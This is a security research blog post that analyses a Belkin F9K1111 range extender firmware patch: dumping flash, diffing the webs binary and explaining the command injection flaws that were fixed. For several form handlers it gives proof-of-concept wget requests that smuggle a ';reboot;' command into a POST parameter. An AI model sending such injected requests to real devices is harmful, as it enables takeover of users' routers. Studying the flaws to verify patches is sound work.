Blog - article

Sorry, this blog post has not been posted yet. Come back and check again later!

Belkin F9K1111 V1.04.10 Firmware Analysis

By:
Chris Morales
August 19, 2015

Introduction

Recently, it came to our attention that HP DVLabs has uncovered at least tenvulnerabilitiesin the Belkin N300 Dual-Band Wi-Fi Range Extender (F9K1111). In response to this, Belkin released firmware version 1.04.10. As this is the first update issued for the F9K1111 and there were not any public triggers for the vulnerabilities, we thought it would be interesting to take a deeper look.

Unpacking the Update

To begin our analysis, we downloaded the firmware update from the vendor [1]. We used a firmware tool called binwalk [2]to unpack the update:

$ binwalk -Me F9K1111_WW_1.04.10_upg.bin

Our result is a pretty standard looking extracted SquashFS filesystem representing the root of the device as seen below.

Now in order to perform the bindiff, we will need to interact with the hardware a bit to get the files in their pre-patched state.

Getting the Base Firmware

To analyze the base firmware, we will need some way to dump the data off the physical device. To do this, we must first remove the device from its casing.

Highlighted in red and blue are possible avenues for retrieving the firmware, the SPI flash chip and the UART interface respectively. Although we have seen some level of activity on the UART, we will proceed by analyzing the base image on the SPI flash chip. The pinout for the chip we are dealing with, MX25L1606e, is readily available from Macronix.

After grabbing this sheet and removing the chip, we are ready to wire up up our GoodFET [3]with respect to the above generic 8-pin pinout.

After bridging pins 7 and 8, we verify that everything is hooked up correctly with

$ python goodfet.spiflash info

Next we can run goodfet.spiflash dump  to obtain the contents of the chip.

$ python goodfet.spiflash dump s

Finally, we can do a quick strings on the resulting file to ensure that the dump looks legit (ie contains at least some readable strings).

The resulting binary file can be unpacked nicely via binwalk as before.

Diffing the Update

Moving both unpacked filesystems over to a Windows box and dropping them into WinMerge [4], we can see that really not much has changed.

The files compiler_data, version, and FUNCTION_SCRIPTdo not contain any interesting changes (apart from perhaps for some data which might be useful for fingerprinting). The change to util_system.aspis not too interesting either. So, pretty much we will be looking at Belkin's modifications to webs, the GoAhead Webserver.

Analysis of webs

HP's Zero Day Initiativehas named the vulnerabilities with what appear to be affected function names or inputs. They are as follows:

  • formWpsStart pinCode Remote CodeExecution Vulnerability
  • formWlanSetupWPS wps_enrolee_pin Remote Code Execution Vulnerability
  • formWlanMP Remote Code Execution Vulnerability
  • formBSSetSitesurvey Remote Code Execution Vulnerability
  • formHwSet Remote Code Execution Vulnerability
  • formConnectionSetting Remote Code Execution Vulnerability
  • formAccept Remote Code Execution Vulnerability
  • formiNICWpsStart Remote Code Execution Vulnerability
  • formUSBStorage Remote Code Execution Vulnerability

So, after loading the patched version of webs into IDA, we searched for formHwSetin the list of functions and found nothing. In fact many of these functions weren't found. Pulling up Bindiff, we can see that 7 functions were removed during the update:

These correspond well to the data from the ZDI bulletin. In fact, every function listed in the ZDI advisories has been removed except for formWlanSetupWPS and formBSSetSitesurvey. Let's take some time to look at the removed functions.

formUsbStorage

The first function we consider isformUsbStorage. After giving the function a quick read, it is pretty obvious what the problem is here. The POST variablesub_dirwhich is accessed via the GoAhead webs API function websGetVar is then being used in a call tosystem, allowing for command injection.

This code could be triggered via:

wget --post-data="sub_dir=vectra;reboot" http://belkin.range/goform/formUSBStorage

formWlanMP

A similar error can be found in form actionformWlanMP. Tracing the calls to websGetVar, we see a few possibilities.

Following forwared, we see that these few possibilities will all work as avenues for injection into the system call -- we chose ateFunc.

This code could be triggered via:

wget --post-data="ateFunc=;reboot;" http://belkin.range/goform/formWlanMP

formHwSet

There is more command injection here, this time we are using the variable [sic] Anntena.

This code could be triggered via:

wget --post-data="Anntena=;reboot;" http://belkin.range/goform/formHwSet

formConnectionSetting

Here, we've got command injection in the timeOut parameter in the formConnectionSetting function.

This code could be triggered via:

wget --post-data="timeOut=1;reboot;" http://belkin.range/goform/formConnectionSetting

formBSSetSitesurvey

At this point, we've beaten the deleted function horse to death. Let's take a look at the more significantof the functions that Belkin decided not to delete - formBSSetSitesurvey. Here is an overview:

After recoilingin horror, we can zoom in and see that the major change is that Belkin has added a function called strcat_escape which is used throughout this function on sources originating form websGetVar.

This strcat_escape function takes 3 buffers - dst, src, and tokens. The function uses nested loops to search the src string for existenceof any of the tokens to be escaped, if found they are escaped before being copied into dst. In the pictured casetoken_of_none_quotation is passed as tokenswhich is defined as"\\\"'$()<>` #&*

We reimplemented this function in C from the webs binary and can see expected output:

This (presumably correctly) escaped string is then passed as normal to system via sprintf as before.

The effectiveness of this patch relies on a few factors:

  • strcat_escape function works completely as intended
  • strcat_escape does not unintentionally cause buffer overflows ;-)
  • strcat_escape is used on all user input which ends up at system
  • We have been in contact with Belkin about a few of these bullet points.

Conclusion

We are all already aware that the security maturity embedded device code is a problem.  Here we see that even in devices released in 2014, it remains a problem.

[1] http://cache-www.belkin.com/support/dl/F9K1111_WW_1.04.10_upg.bin

[2] http://binwalk.org

[3] http://goodfet.sourceforge.net/apps/spi

[4] http://winmerge.org

About the author

Chris Morales

Christopher Morales is Head of Security Analytics at Vectra, where he advises and designs incident response and threat management programs for Fortune 500 enterprise clients. He has nearly two decades of information security experience in an array of cybersecurity consulting, sales, and research roles. Christopher is a widely respected expert on cybersecurity issues and technologies and has researched, written and presented numerous information security architecture programs and processes.

Author profile and blog posts

Most recent blog posts from the same author

Security operations

Vectra and Nozomi Networks safely secure the IT/OT convergence

August 12, 2019
Read blog post
Threat detection

Bedrohungserkennung und Response mit einer Architektur ohne SIEM

April 5, 2019
Read blog post
Security operations

How to gain visibility into attacker behaviors inside cloud environments

June 10, 2019
Read blog post